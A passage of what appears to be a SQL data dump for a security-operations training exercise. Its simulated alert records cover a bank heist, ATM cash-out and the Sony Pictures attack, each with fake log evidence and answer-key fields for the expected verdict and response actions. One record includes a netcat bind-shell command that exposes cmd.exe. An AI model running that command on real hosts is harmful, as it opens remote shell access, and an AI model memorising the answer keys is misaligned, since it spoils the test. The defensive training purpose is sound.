1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1459, 'Coordinated Mule Network Activation - Step 4', 'high', 'ATM Surveillance Footage', 'Mules have been dispatched to various ATMs to execute synchronized cash withdrawals. Surveillance footage indicates a coordinated effort exploiting compromised systems to manipulate transactions.', 'Lateral Movement', 'T1021.002 - Remote Services: SMB/Windows Admin Shares', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"username\":\"atm_operator\",\"filename\":\"atm_control.exe\",\"hash\":\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\",\"description\":\"ATM withdrawal command issued\",\"location\":\"ATM Terminal 12, 5th Avenue\",\"action\":\"Synchronized withdrawal command executed\"}', '2026-03-07 00:50:56', '2026-03-09 05:45:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local ATM network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"atm_operator\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_control.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Executable used for unauthorized ATM commands\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ATM manipulation malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:35:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"atm_operator\\\",\\\"filename\\\":\\\"atm_control.exe\\\",\\\"hash\\\":\\\"3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\\",\\\"description\\\":\\\"ATM withdrawal command issued\\\",\\\"location\\\":\\\"ATM Terminal 12, 5th Avenue\\\",\\\"action\\\":\\\"Synchronized withdrawal command executed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1460, 'Exfiltration of Stolen Funds', 'critical', 'Financial Transaction Monitoring', 'Alert triggered during the exfiltration phase of a cyber heist involving the transfer of laundered funds to offshore accounts. The operation is suspected to be conducted by the Lazarus Group using sophisticated financial manipulation techniques.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T15:45:32Z\",\"transaction_id\":\"TX123456789\",\"source_ip\":\"192.168.10.45\",\"destination_ip\":\"203.0.113.15\",\"amount\":\"5,000,000 USD\",\"currency\":\"USD\",\"destination_account\":\"Offshore-Account-987654321\",\"source_account\":\"Compromised-Account-123456789\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_filename\":\"funds_transfer.exe\",\"username\":\"jdoe\",\"comments\":\"Funds moved to offshore account using compromised credentials.\"}', '2026-03-07 00:50:56', '2026-03-09 05:46:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in transaction.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP associated with known offshore financial activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for malware used in financial theft operations.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"funds_transfer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable used in unauthorized fund transfers.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"Account compromised; used in unauthorized transactions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"transaction_id\\\":\\\"TX123456789\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.15\\\",\\\"amount\\\":\\\"5,000,000 USD\\\",\\\"currency\\\":\\\"USD\\\",\\\"destination_account\\\":\\\"Offshore-Account-987654321\\\",\\\"source_account\\\":\\\"Compromised-Account-123456789\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malware_filename\\\":\\\"funds_transfer.exe\\\",\\\"username\\\":\\\"jdoe\\\",\\\"comments\\\":\\\"Funds moved to offshore account using compromised credentials.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1461, 'Initial Access: Spear Phishing Campaign', 'high', 'Email logs', 'The attackers initiated their operation by launching a tailored spear phishing campaign aimed at Sony employees, leveraging social engineering tactics to deliver malicious payloads. A suspicious email with a malicious attachment was detected, originating from a known malicious public IP address.', 'Phishing', 'T1566.001', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-12T14:35:21Z\",\"source_ip\":\"185.123.231.45\",\"destination_email\":\"j.smith@sonypictures.com\",\"subject\":\"Urgent: Update Required\",\"attachment\":{\"name\":\"Update_Required.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"internal_ip\":\"192.168.1.25\"}', '2026-03-07 00:51:05', '2026-03-11 17:51:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.231.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"j.smith@sonypictures.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Valid Sony Pictures employee email\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted host\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Spear Phishing Campaign\",\"date\":\"2026-03-07T14:15:20.852Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1462, 'Execution: Deployment of Destructive Malware', 'critical', 'Endpoint security logs', 'Upon gaining access, the attackers deployed a custom-built malware designed to destroy data and disrupt Sony Pictures\' operations, demonstrating the group\'s capability for destructive cyber attacks.', 'Malware', 'T1485: Data Destruction', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T03:45:30Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"username\":\"j.doe\",\"process_name\":\"wiper.exe\",\"file_hash\":\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\",\"filename\":\"destructive_payload.dll\",\"action\":\"Executed\",\"status\":\"Success\"}', '2026-03-07 00:51:05', '2026-03-11 03:21:50', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Feed\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group IP used in previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with destructive malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"destructive_payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"File used in execution of destructive payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.853Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:30Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"j.doe\\\",\\\"process_name\\\":\\\"wiper.exe\\\",\\\"file_hash\\\":\\\"a9f5d8e7b0c8f3a2c1e4d5b6f7g8h9i0\\\",\\\"filename\\\":\\\"destructive_payload.dll\\\",\\\"action\\\":\\\"Executed\\\",\\\"status\\\":\\\"Success\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1463, 'Persistence: Establishing Backdoor Access', 'critical', 'Network traffic analysis', 'To ensure continued access, the attackers installed backdoors across the network, allowing them to remotely control and monitor compromised systems without detection.', 'Backdoor', 'T1105: Ingress Tool Transfer', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T06:34:22Z\",\"src_ip\":\"193.168.1.100\",\"dst_ip\":\"10.0.0.25\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":12345,\"filename\":\"nc.exe\",\"file_hash\":\"b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\",\"username\":\"j.doe\",\"action\":\"file_transfer\",\"threat_actor\":\"Lazarus Group\",\"malware_name\":\"Backdoor:Win32/CustomLazarus\",\"external_command\":\"RUN nc.exe -lvp 12345 -e cmd.exe\"}', '2026-03-07 00:51:05', '2026-03-11 03:23:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"193.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"ip-reputation-database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal-network\",\"verdict\":\"internal\",\"details\":\"Internal server identified as targeted host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware-analysis\",\"verdict\":\"malicious\",\"details\":\"File used for unauthorized access and control.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b6a9b3f8a8e4b5c8f9c2d7e58f8a3b6c\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash-reputation-database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor tools used by the Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal-user-database\",\"verdict\":\"suspicious\",\"details\":\"User account activity inconsistent with usual behavior.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
